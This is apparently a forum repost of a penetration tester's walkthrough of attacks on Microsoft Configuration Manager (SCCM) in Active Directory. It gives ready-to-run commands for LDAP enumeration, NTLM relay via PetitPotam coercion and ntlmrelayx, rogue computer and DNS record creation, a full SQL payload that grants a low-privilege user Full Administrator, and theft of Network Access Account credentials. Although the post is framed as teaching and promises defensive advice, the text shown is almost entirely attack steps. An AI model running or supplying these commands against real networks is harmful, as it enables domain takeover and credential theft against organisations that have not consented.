Статья Attacking and Defending Configuration Manager - An Attackers Easy Win

[stihl]

Introduction​

System Center Configuration Manager (SCCM) or Microsoft Configuration Manager allows endpoint administrators to utilize a single platform for seamless device management inside of an Active Directory environment, including pushing applications, scripts, and updates to computers. The primary server in a particular site inside of the SCCM hierarchy is the SCCM site-server, which facilitates the software deployment on all remote systems in the site with the help of a site database server.

Like any Active Directory integrated Microsoft technology, abuses are possible. Most of which are previously categorized in the Для просмотра ссылки Войди или Зарегистрируйся github repository thanks to the work of Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся, and Для просмотра ссылки Войди или Зарегистрируйся. These opportunities for abuse range from lateral movement, credential access, and privilege escalation, some of which are default or nearly default exploitable. Due to the wide-scale usage of Microsoft Configuration Manager (hereafter known as SCCM) in the client environments I’ve tested - combined with the technology being so difficult to secure due to its large level of access, I’ve decided to document what I believe are the most common easy wins for attackers. This post will attempt to combine explanatory and practical example focused tradecraft together which combines high commonality with incredible impact from low-privilege contexts, and what you can do to prevent them from a systems administration and defensive perspective.

Like always, this writeup’s purpose is to document my research on SCCM attacks and provide a resource in which others can learn from as an introduction to SCCM exploitation. This writeup is not expansive, covering only the techniques which I find are the lowest-hanging, easiest wins for attackers. If you want more information and exploitable edge-case configurations, consult the Для просмотра ссылки Войди или Зарегистрируйся github.

Enumeration​

Just like with any other high-impact enterprise technology, performing reconnaissance is key to getting an understanding of the attack surface. For this post, the perspective of attack will primarily focus on performing actions while proxying traffic through some means of post-exploitation, such as a Mythic agent; while low-privilege user credentials have already been obtained through some additional action such as the dumping of the LSA hive, which we can utilize at a network level.

Thankfully, a tool was written by Garrett Foster for Linux platforms that we can use to proxy into the network, titled SCCMHunter. SCCMHunter is written in Python and used primarily for testers and operators to simulate adversaries in an SCCM context.

Enumeration procedures can be kicked off with SCCMHunter by using the find module, passing in our low-privilege user credentials so the tool can quickly identify SCCM related assets directly from LDAP.

sccmhunter.py find -u jdoe -p P@ssw0rd -dc-ip 192.168.1.2 -d lab.lan

SCCMHunter stores all data found in a database inside the ~/.sccmhunter directory and can be directly queried with the show module. Information about site-servers, site database servers, users, groups, can be accessed offline after LDAP data is ingested.

For example, display of the SCCM site servers ingested by SCCMHunter is shown below:

sccmhunter.py show -siteservers

Exploitation​

Now that some environmental context has been achieved through base-level recon of SCCM assets over LDAP, the next step is to act on our enumeration and attempt to perform exploitation of the Active Directory environment utilizing a number of SCCM related tradecraft.

ELEVATE-1 - NTLM Relay Site Server Authentication to Site Systems​

As mentioned before, the site server is used to push applications, scripts, and updates to devices in its current site. Because the site server is the central device used for administrative software deployment to devices in the domain, the account utilized for site system client installation is required to have local administrator permissions on every site system. By default, the site server machine account is set to perform these actions as the official site system installation account, which often enables all site systems to be vulnerable to NTLM relay attacks.

If machine account authentication from the site server can be coerced (which can be done through a multitude of RPC endpoints accessible to domain users by default), said authentication can be relayed to site systems without signing on critical services such as SMB. Allowing, by default, low privilege users to takeover all systems in the site without SMB signing (also default for non Domain Controllers)

Below is a graphic visualizing the attack technique:

With a valid vulnerable site system in mind, for example, mssql01.lab.lan, set up a relay using ntlmrelayx.py:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

Next utilize a tool such as PetitPotam to coerce valid Net-NTLMv2 authentication from the site server, in this case sccm01.lab.lan:

python3 PetitPotam.py 192.168.1.50 sccm01.lab.lan -u jdoe -p P@ssw0rd

Looking back at ntlmrelayx.py, we can see that it has automatically relayed the authentication to the target device and dumped credentials due to its administrative permissions on the host.

ELEVATE-2 - NTLM Relay with Automatic Client Push Authentication​

When side-wide automatic client push installation is enabled, the site server will automatically attempt to install client agents on devices registered in the site after approval. If an attacker is able to trick the site server into recognizing a new client device with an attacker owned address, they would be able to relay authentication from the site server to systems without SMB signing for arbitrary takeover. Note that the authentication obtained from the site server attempting to install an agent on the client device would be the official site server installation account. With this non-default added account being required to have local administrator privileges on each site system, it is common that this non-default site server installation account not only has administrative permissions on site systems but could be a member of a high privilege group such as Domain Admins. This would imply that if an attacker is able to trick the site server into performing client installation to a controller address, they could gain administrative access to every device without SMB signing in the domain, whether they are in the site or not.

Unlike ELEVATE-1, with its requirements being entirely default, ELEVATE-2 has a large number of non-default requirements, although still very common.

These include:

1. Automatic site-wide client push installation enabled
2. Automatic site device approval
3. Fallback authentication to NTLM

While all three of these options are non-default and are required to be manually configured by a system administrator for this attack to work, most of these options provide ease of use for system administrators attempting to manage large-scale SCCM device infrastructure. For example, automatic client push installation ensures that devices recognized by the site server don’t have to be manually selected for client push installation. Automatic site device approval ensures that system administrators do not have to manually approve each device making automated requests to join a site. And finally fallback authentication ensures greater compatibility with older, non Kerberos compatible windows device which still run rampant in corporate environments, by allowing NTLM authentication to be used when Kerberos fails. So while all three of these options are entirely manually implemented, it makes perfect sense why so many SCCM admins configure them to make their job significantly easier and less manual in the long run.

To perform this attack, first utilize SharpSCCM written by Chris Thompson to register a fake client device on the site server using low-privilege user credentials, using the address of our attacker controlled relay server as a target:

SharpSCCM.exe invoke client-push -t 192.168.1.50

after a few minutes, the site server will send authentication to our relay server and attempt to install a client on the automatically approved device, allowing us to relay the LAB\SCCM-CLIENTPUSH high privilege account authentication to devices without SMB signing:

Before authentication occurs, the relay should have already been configured with the command:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

ELEVATE-3 - NTLM Relay with Automatic Client Push Authentication Via Device Discovery​

Active Directory device discovery in SCCM environments is when the site server uses Active Directory to search for computers which have not been added to the site, then adds them automatically. This option is useful for system administrators who want the most automated client deployment possible. Once a computer account is added to the domain the site server searches LDAP for new computer objects, automatically approves them, then automatically attempts to deploy clients to them.

Just like ELEVATE-2 we can coerce and relay client push installation account authentication, but because of automated AD device discovery we aren’t required to execute SharpSCCM for client push requests to the site server. We can instead elicit the authentication just by adding a computer object and a DNS A record to LDAP, which is possible under low-privilege domain user context through a proxy.

Adding the DNS A record can be done by using dnstool.py from krbrelayx:

python3 /opt/krbrelayx/dnstool.py -u 'lab.lan\jdoe' -p P@ssw0rd -r attacker.lab.lan -a add -t A -d 192.168.1.50 192.168.1.2

Then add the computer account to LDAP for the site server to automatically discover:

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 192.168.1.2 lab.lan/jdoe:'P@ssw0rd'

After the default 5 minute delta timer, the site server should automatically detect the computer object in LDAP and reference the DNS A record, successfully sending high privilege authentication from the client push installation account which can be relayed. Once again the relay can be configured with the command:

ntlmrelayx.py -t mssql01.lab.lan -smb2support

TAKEOVER-1 - Site Takeover Via NTLM Relay to MSSQL Site Database Server​

Just like the site server machine account requires administrative privileges on the devices in the site to perform client installation, it also requires db_owner permissions on the MSSQL instance on the site database server to store information about the site. Because machine account authentication can be coerced under the context of a low-privilege user account, it can be intercepted and relayed to the MSSQL site database server allowing an attacker to arbitrarily grant any user the SCCM “Full Administrator” role. The only requirements to this attack being that the site database server being relayed to is not installed on the same system as the site server being coerced due to the inability to relay back to the same device, and Extended Protection for Authentication (EPA) is not enabled on the MSSQL instance (default).

The Full Administrator role can be used in an SCCM environment for remote code execution as SYSTEM on every device in the site, granting low-privilege users full administrative access to every device in the site SMB signing or not.

First use the mssql module through SCCMHunter to parse compile the MSSQL query which can be used to add a low-privilege user to Full Administrator for site takeover:

sccmhunter.py mssql -dc-ip 192.168.1.2 -d lab.lan -u 'jdoe' -p 'P@ssw0rd' -tu jdoe -sc abc -stacked

Then we can use ntlmrelayx.py to execute our generated MSSQL query on successful authentication to the site database server:

ntlmrelayx.py -t mssql://mssql01.lab.lan -smb2support -q "DECLARE @AdminID INT; USE CM_abc; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy
, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x0105000000000005150000008F42A6DC5FAB6EDBDEE46EF958040000, 'LAB\jdoe', 0, 0, '', '', '', '', 'abc' WHERE NOT EXISTS ( SEL
ECT 1 FROM RBAC_Admins WHERE LogonName = 'LAB\jdoe' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'LAB\jdoe'); INSERT INTO RBAC_ExtendedPermissions (Admi
nID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1)
) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeType
ID = V.ScopeTypeID );"

Finally coerce authentication from the site server to the attacker host:

python3 /opt/PetitPotam/PetitPotam.py -u jdoe -p P@ssw0rd 192.168.1.50 sccm01.lab.lan

The Net-NTLMv2 authentication will then be relayed, granting the low-privilege user jdoe Full Administrator, leading to full site takeover from a low-privilege user with completely default configuration.

The users holding the Full Administrator role can then be enumerated using SCCMHunter, confirming that our low-privilege user holds Full Administrator

CRED-2 - Retrieve Network Access Account Credentials Through Policy Deobfuscation​

Being part of the CRED moniker rather than the ELEVATE or TAKEOVER monikers, CRED-2 invokes credential access rather than any sort of direct device compromise. This technique involves recovering Network Access Account (NAA) credentials. The NAA account is an account used in an SCCM environment used for clients to pull software from distribution points when access through their machine account is impossible. The microsoft documentation notes that this account primarily applies to computers connecting to distribution points from workgroups, untrusted domains, or operating systems not yet joined to the domain during deployment.

When a client is registered, it automatically obtains the ability to request computer policies which are used as configuration administered by the site server. Requesting the NAAConfig policy includes obfuscated NAA credentials.

Because automatic client approval is set by default for computers from trusted domains, combined with the fact that low-privilege users can add 10 computer accounts by default, an attacker could add a rogue computer account and register it as a client under the site to obtain NAA credentials.

Commonly this account is heavily over-privileged, even going so far to be commonly included in the Domain Admins group due to a large amount of system administrators not applying the principle of least privilege when performing account configuration. So while CRED-2 is not as flashy as the direct device or site compromise of ELEVATE or TAKEOVER, its still a very common and potentially impactful by-default account compromise from low-privilege user context.

First add a computer account:

addcomputer.py -computer-name 'attacker$' -computer-pass P@ssw0rd -dc-ip 192.168.1.2 lab.lan/jdoe:'P@ssw0rd'

Then execute SharpSCCM to obtain the policy secrets using the previously created machine account credentials:

SharpSCCM.exe get naa -r newdevice -u attacker$ -p P@ssw0rd

Для просмотра ссылки Войди или Зарегистрируйся​